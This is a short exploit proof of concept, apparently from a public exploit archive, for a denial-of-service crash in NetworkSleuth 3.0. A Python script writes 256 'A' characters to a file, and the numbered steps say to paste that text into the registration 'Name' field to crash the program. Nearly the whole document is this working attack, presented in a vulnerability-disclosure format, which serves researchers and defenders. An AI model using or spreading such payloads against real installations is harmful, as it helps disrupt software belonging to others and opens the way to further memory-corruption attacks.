NetworkSleuth 3.0 - 'Name' Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: NetworkSleuth 3.0 - Denial of Service (PoC)
# Date: 12/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com/
# Software Link: http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Version: 3.0.0.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "NetworkSleuth.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NetworkSleuth.exe 
# 4.- Go to Register > Enter Registration Code...
# 5.- Paste clipboard in 'Name' field
# 6.- Write '1234' in 'Key' field
# 7.- Clic on button -> Ok
# 8.- Crashed

buffer = "\x41" * 256
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()